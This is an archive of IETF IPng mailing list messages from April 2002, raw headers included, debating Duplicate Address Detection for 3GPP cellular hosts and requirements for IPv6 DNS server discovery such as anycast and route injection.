sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UAfF5i004754; Tue, 30 Apr 2002 03:41:15 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UAfCrP004747 for ; Tue, 30 Apr 2002 03:41:12 -0700 (PDT) Received: from patan.sun.com ([129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA13789 for ; Tue, 30 Apr 2002 03:41:12 -0700 (PDT) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA10245 for ; Tue, 30 Apr 2002 04:41:11 -0600 (MDT) Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35]) by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3UAfTF20367 for ; Tue, 30 Apr 2002 13:41:29 +0300 (EET DST) Received: from esebh003.NOE.Nokia.com (unverified) by esvir03nok.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Tue, 30 Apr 2002 13:41:09 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Tue, 30 Apr 2002 13:41:09 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: DAD in 2g/3g hosts (was: Review comments on IPv6 for Second and Third Generation Cellular Hosts) Date: Tue, 30 Apr 2002 13:41:09 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFC6504E@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Review comments on IPv6 for Second and Third Generation Cellular Hosts Thread-Index: AcHvh5B3miqrOxRSQiuK6MYyH5a97gAnzArw To: Cc: X-OriginalArrivalTime: 30 Apr 2002 10:41:09.0749 (UTC) FILETIME=[8A4E9A50:01C1F033] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3UAfCrP004748 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Margaret, This discussion is about section: 2.5 RFC2462 - IPv6 Stateless Address Autoconfiguration IPv6 Stateless Address Autoconfiguration is defined in [RFC-2462]. This standard is a mandatory part of IPv6. 2.5.1 Stateless Address Autoconfiguration in 3GPP A 3GPP cellular host must process a Router Advertisement as stated in chapter 5.5.3 of [RFC-2462]. These cellular hosts need not perform Duplicate Address Detection on its cellular interface, as each delegated prefix is unique within its scope when allocated using the 3GPP IPv6 Stateless Address Autoconfiguration. See appendix B for more details on 3GPP IPv6 Stateless Address Autoconfiguration. ==== I have suggested an update to the text: 2.5.1 Stateless Address Autoconfiguration in 3GPP A 3GPP cellular host must process a Router Advertisement as stated in chapter 5.5.3 of [RFC-2462]. These cellular hosts can set DupAddrDetectTransmits equal to zero, as each delegated prefix is unique within its scope when allocated using the 3GPP IPv6 Stateless Address Autoconfiguration. See appendix B for more details on 3GPP IPv6 Stateless Address Autoconfiguration. You have said: > It seems reasonable, and consistent with RFC2462 and the PPP for IPv6 spec, > to avoid DAD for addresses where the remote side (GGSN) assigns the IID. I agree. > I am less certain about the privacy address case. Privacy addresses post-date the > PPP spec, so it does not deal with them... In fact, we know that the PPP spec > will need to be updated, eventually, to match the newest addressing architecture. However, we are discussing 2462, which allows the behavior. I think the text in 2462 is quite sufficient. > Do the 3GPP specifications explicitly state that the GGSN must not allocate any > addresses within the allocated prefix? If so, in which document? As pointed out, the draft you have edited (draft-ietf-ipv6-3gpp-recommend-02.txt) states: 7.1 Limitations of 3GPP Address Assignment The current 3GPP address assignment mechanism has the following limitations: The GGSN only advertises a single /64 prefix, rather than a set of prefixes. This will prevent the participation of 3GPP nodes (e.g. handsets or 3GPP-attached laptops) in IPv6 site renumbering, or in other mechanisms that expect IPv6 hosts to create addresses based on multiple advertised prefixes. A 3GPP node is assigned a single identifier and is not allowed to generate additional identifiers. This will prevent the use of privacy addresses by 3GPP nodes. This also makes 3GPP mechanisms not fully compliant with the expected behavior of IPv6 nodes, which will result in incompatibility with popular laptop IPv6 stacks. For example, a laptop that uses privacy addresses for web browser connections could not currently not currently establish a web browser connection over a 3GPP link. As our draft is not meant to change either IETF nor 3GPP specifications, we cannot make any additional claims. Is there something that you wish to see in our document to fully cover this? One possiblility would be to add the following text to the end of 2.5.1: If Privacy Addresses are used [RFC-3041], then DupAddrDetectTransmits should not be set to zero. John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 04:49:39 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UBndrP004909; Tue, 30 Apr 2002 04:49:39 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UBndha004908; Tue, 30 Apr 2002 04:49:39 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UBnZrP004901 for ; Tue, 30 Apr 2002 04:49:35 -0700 (PDT) Received: from patan.sun.com ([129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA24688 for ; Tue, 30 Apr 2002 04:49:36 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA11029 for ; Tue, 30 Apr 2002 05:49:35 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3UBnY0E000358 for ; Tue, 30 Apr 2002 13:49:35 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Tue Apr 30 13:49:34 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Tue, 30 Apr 2002 13:38:53 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ACFB@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Randy Bush'" , "Hesham Soliman (ERA)" Cc: "'Rob Austein'" , ipng@sunroof.eng.sun.com Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Tue, 30 Apr 2002 13:49:29 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > > 1. The DNS can inject a route. > > please tell us the rfc or i-d which describes this => I wasn't aware that we need an id to tell us how to run a routing daemon on a node, do we? But perhaps you're hinting at a bigger issue, could you please elaborate ? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 05:12:04 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UCC4rP004996; Tue, 30 Apr 2002 05:12:04 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UCC3xB004995; Tue, 30 Apr 2002 05:12:03 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UCC0rP004988 for ; Tue, 30 Apr 2002 05:12:00 -0700 (PDT) Received: from pheriche.sun.com ([129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA26431 for ; Tue, 30 Apr 2002 05:12:01 -0700 (PDT) Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA22285 for ; Tue, 30 Apr 2002 06:12:01 -0600 (MDT) Received: from nc.rr.com ([24.162.252.183]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Tue, 30 Apr 2002 08:10:22 -0400 Message-ID: <3CCE88F2.92C5BF9B@nc.rr.com> Date: Tue, 30 Apr 2002 08:07:14 -0400 From: Brian Haberman X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Rob Austein CC: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <20020430032832.B7EB31C46@thrintun.hactrn.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Rob, Rob Austein wrote: > > In the anycast model, you're at the mercy of the system that's > maintaining the anycast route: you can't query directly to find out > where the DNS server is, you have to wait for the routing system to > figure it out, and the routing system doesn't tell you when it change > the binding between a particular anycast address and the server behind > it, so you can't usefully keep track of which DNS servers have been > misbehaving recently. Actually that is an incorrect statement. The IPv6 addressing architecture forbids the use of an anycast address as the source address. So, the response back from the anycast member will have one of its unicast addresses as the source address. So, it is similar to your multicast request/unicast response model. Regards, Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 05:20:24 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UCKNrP005027; Tue, 30 Apr 2002 05:20:24 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UCKN1Y005026; Tue, 30 Apr 2002 05:20:23 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UCKKrP005019 for ; Tue, 30 Apr 2002 05:20:20 -0700 (PDT) Received: from pheriche.sun.com ([129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA00832 for ; Tue, 30 Apr 2002 05:20:22 -0700 (PDT) Received: from roam ([193.0.5.205]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA26329 for ; Tue, 30 Apr 2002 06:20:21 -0600 (MDT) Received: from localhost ([127.0.0.1] helo=roam.psg.com ident=randy) by roam.psg.com with esmtp (Exim 4.04) id 172Wap-000DkY-00; Tue, 30 Apr 2002 08:18:51 -0400 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Hesham Soliman (ERA)" Cc: "'Rob Austein'" , ipng@sunroof.eng.sun.com Subject: RE: Proposed IPv6 DNS Discovery Requirements References: <4DA6EA82906FD511BE2F00508BCF053802C6ACFB@Esealnt861.al.sw.ericsson.se> Message-Id: Date: Tue, 30 Apr 2002 08:18:51 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>> 1. The DNS can inject a route. >> please tell us the rfc or i-d which describes this > => I wasn't aware that we need an id to tell > us how to run a routing daemon on a node, do we? i missed routing daemons in the dns protocols -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 05:24:54 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UCOsrP005047; Tue, 30 Apr 2002 05:24:54 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UCOsls005046; Tue, 30 Apr 2002 05:24:54 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UCOorP005039 for ; Tue, 30 Apr 2002 05:24:50 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA28827 for ; Tue, 30 Apr 2002 05:24:52 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA06948 for ; Tue, 30 Apr 2002 05:24:51 -0700 (PDT) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3UCOo0E020397 for ; Tue, 30 Apr 2002 14:24:50 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Tue Apr 30 14:24:38 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Tue, 30 Apr 2002 14:13:58 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ACFE@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Randy Bush'" , "Hesham Soliman (ERA)" Cc: "'Rob Austein'" , ipng@sunroof.eng.sun.com Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Tue, 30 Apr 2002 14:24:28 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > >>> 1. The DNS can inject a route. > >> please tell us the rfc or i-d which describes this > > => I wasn't aware that we need an id to tell > > us how to run a routing daemon on a node, do we? > > i missed routing daemons in the dns protocols => Well it's not in the DNS protocols, so you didn't miss anything. Any node can run a routing daemon and whether other routers will accept its routes or not will depend on the security requirements of the domain, right? Hesham > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 06:33:33 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UDXXrP005240; Tue, 30 Apr 2002 06:33:33 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UDXXu0005239; Tue, 30 Apr 2002 06:33:33 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UDXUrP005232 for ; Tue, 30 Apr 2002 06:33:30 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA14402 for ; Tue, 30 Apr 2002 06:33:32 -0700 (PDT) Received: from iproxy1.ericsson.dk (iproxy1.ericsson.dk [213.159.160.68]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA09578 for ; Tue, 30 Apr 2002 07:33:12 -0600 (MDT) Received: from unixmail.ted.dk.eu.ericsson.se (knud.ted.dk.eu.ericsson.se [213.159.188.246]) by iproxy1.ericsson.dk (8.12.2/8.12.2) with ESMTP id g3UDX0hi010473; Tue, 30 Apr 2002 15:33:00 +0200 (MEST) Received: from ted.ericsson.se (geku.ted.dk.eu.ericsson.se [213.159.189.38]) by unixmail.ted.dk.eu.ericsson.se (8.10.1/8.10.1/TEDmain-1.0) with ESMTP id g3UDX0b17404; Tue, 30 Apr 2002 15:33:00 +0200 (MEST) Message-ID: <3CCE9D0B.6070904@ted.ericsson.se> Date: Tue, 30 Apr 2002 15:32:59 +0200 From: "Gerben Kuijpers (TED)" Organization: Ericsson Telebit A/S User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020326 X-Accept-Language: en-us, en MIME-Version: 1.0 To: john.loughney@nokia.com CC: mrw@windriver.com, ipng@sunroof.eng.sun.com Subject: Re: DAD in 2g/3g hosts (was: Review comments on IPv6 for Second and Third Generation Cellular Hosts) References: <0C1353ABB1DEB74DB067ADFF749C4EEFC6504E@esebe004.NOE.Nokia.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk john.loughney@nokia.com wrote: > Hi Margaret, > > As pointed out, the draft you have edited (draft-ietf-ipv6-3gpp-recommend-02.txt) > states: > > 7.1 Limitations of 3GPP Address Assignment > > The current 3GPP address assignment mechanism has the following > limitations: > > The GGSN only advertises a single /64 prefix, rather than a > set of prefixes. This will prevent the participation of 3GPP > nodes (e.g. handsets or 3GPP-attached laptops) in IPv6 site > renumbering, or in other mechanisms that expect IPv6 hosts to > create addresses based on multiple advertised prefixes. > > A 3GPP node is assigned a single identifier and is not allowed > to generate additional identifiers. This will prevent the use > of privacy addresses by 3GPP nodes. This also makes 3GPP > mechanisms not fully compliant with the expected behavior of > IPv6 nodes, which will result in incompatibility with popular > laptop IPv6 stacks. For example, a laptop that uses privacy > addresses for web browser connections could not currently not > currently establish a web browser connection over a 3GPP link. > > As our draft is not meant to change either IETF nor 3GPP specifications, > we cannot make any additional claims. > > Is there something that you wish to see in our document to fully cover > this? One possiblility would be to add the following text to the end > of 2.5.1: > > If Privacy Addresses are used [RFC-3041], then DupAddrDetectTransmits > should not be set to zero. > > John As long as the GGSN does not configure any global scope addresses on its interface towards the 3G host, Privacy Addresses can be used with DupAddrDetectTransmits = 0. IMO there is no need for a global scope address on the interface towards the host, it's a point-to-point link and if the host needs to send packets with the GGSN as destination, it can just use the all-routers multicast address. /Gerben -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 06:58:41 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UDwfrP005288; Tue, 30 Apr 2002 06:58:41 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UDwejh005287; Tue, 30 Apr 2002 06:58:40 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UDwbrP005280 for ; Tue, 30 Apr 2002 06:58:37 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA20507 for ; Tue, 30 Apr 2002 06:58:38 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA26363 for ; Tue, 30 Apr 2002 06:58:37 -0700 (PDT) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3UDwa0E024543 for ; Tue, 30 Apr 2002 15:58:36 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Tue Apr 30 15:56:14 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Tue, 30 Apr 2002 15:45:34 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AD05@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Rob Austein'" , ipng@sunroof.eng.sun.com Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Tue, 30 Apr 2002 15:56:12 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > >> b) What's the security model by which the router decides > whether to > >> accept routing updates from the DNS server? > > > > The same model that is used between routers in the network. > > Right, so this approach adds a whole new set of boxes that > can mess up > your routing system. This does not strike me as a good thing. => Which boxes does it add? I really don't see any more boxes here. Note, I'm not advocating this particular approach (injecting routes from the DNS) but I don't agree with your claim above, and I think it can work. I think something like MLD extensions would be much cleaner. > > That's up to your implementation. The DNS is the only > server using > > this address, so you can tie them together. > > Sure. One can do the same kind of thing with the DHCP approach (use > SO_REUSEPORT or whatever and tie the DHCP mini server to the DNS > server). => I believe you :), in fact, since you read the draft (twice now ;) ) you would have seen that DHCP messages were also considered for the 'content' part of the discovery. > The point was just that exactly the same considerations apply to the > anycast proposal as apply to other proposals. => I think you're mixing the 'content' of the message used for discovery and the method used for transporting that message to the right server. Anycast does the latter. So I don't know why you're comparing anycast with DHCP. DHCP can also use anycast in theory, I never tried it. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 07:04:17 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UE4FrP005318; Tue, 30 Apr 2002 07:04:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UE4E1h005317; Tue, 30 Apr 2002 07:04:14 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UE4BrP005310 for ; Tue, 30 Apr 2002 07:04:11 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA04204 for ; Tue, 30 Apr 2002 07:04:12 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA26856 for ; Tue, 30 Apr 2002 08:04:05 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 2AFAE1BFF for ; Tue, 30 Apr 2002 10:04:04 -0400 (EDT) Date: Tue, 30 Apr 2002 10:04:03 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <3CCE88F2.92C5BF9B@nc.rr.com> References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <3CCE88F2.92C5BF9B@nc.rr.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020430140404.2AFAE1BFF@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Tue, 30 Apr 2002 08:07:14 -0400, Brian Haberman wrote: > > Actually that is an incorrect statement. The IPv6 addressing > architecture forbids the use of an anycast address as the source > address. So, the response back from the anycast member will have > one of its unicast addresses as the source address. So, it is > similar to your multicast request/unicast response model. Sorry, back up. I assumed that this proposal intended to change that restriction, since with that restriction in place the resolvers won't be able to match up the responses they get with the queries they sent and anycast DNS won't work at all. Perhaps this week's version of the proposed solution for this is something that walks and quacks like an anycast route but is called something else so that you can use it as a source address. I don't really care either way, it's still an anycast route in all but name. Apologies in advance if this sounds grumpy, it's not intended that way, I just haven't had enough coffee yet today. :) -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 07:15:41 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEFfrP005402; Tue, 30 Apr 2002 07:15:41 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UEFfJ6005401; Tue, 30 Apr 2002 07:15:41 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEFbrP005394 for ; Tue, 30 Apr 2002 07:15:37 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA07699 for ; Tue, 30 Apr 2002 07:15:37 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA03459 for ; Tue, 30 Apr 2002 08:15:10 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id C03164B27; Tue, 30 Apr 2002 23:15:06 +0900 (JST) To: Brian Haberman Cc: ipng@sunroof.eng.sun.com In-reply-to: bkhabs's message of Tue, 30 Apr 2002 08:07:14 -0400. <3CCE88F2.92C5BF9B@nc.rr.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Proposed IPv6 DNS Discovery Requirements From: itojun@iijlab.net Date: Tue, 30 Apr 2002 23:15:06 +0900 Message-ID: <16402.1020176106@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >> In the anycast model, you're at the mercy of the system that's >> maintaining the anycast route: you can't query directly to find out >> where the DNS server is, you have to wait for the routing system to >> figure it out, and the routing system doesn't tell you when it change >> the binding between a particular anycast address and the server behind >> it, so you can't usefully keep track of which DNS servers have been >> misbehaving recently. > >Actually that is an incorrect statement. The IPv6 addressing >architecture forbids the use of an anycast address as the source >address. So, the response back from the anycast member will have >one of its unicast addresses as the source address. So, it is >similar to your multicast request/unicast response model. more on the "anycast" topic can be found in draft-ietf-ipngwg-resv-anycast-02.txt. i start feeling that ietf process is taking too much time for vendors. if we don't standardize DNS server discovery mechanism, some vendor will ship products with DNS server address preconfigured to some address the vendor has. it is the easiest solution if we can assume that there's only one DNS infrastructure. (like MacOS X shipped with NTP server configured to "time.apple.com") itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 07:16:30 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEGUrP005412; Tue, 30 Apr 2002 07:16:30 -0700 (PDT) Received: 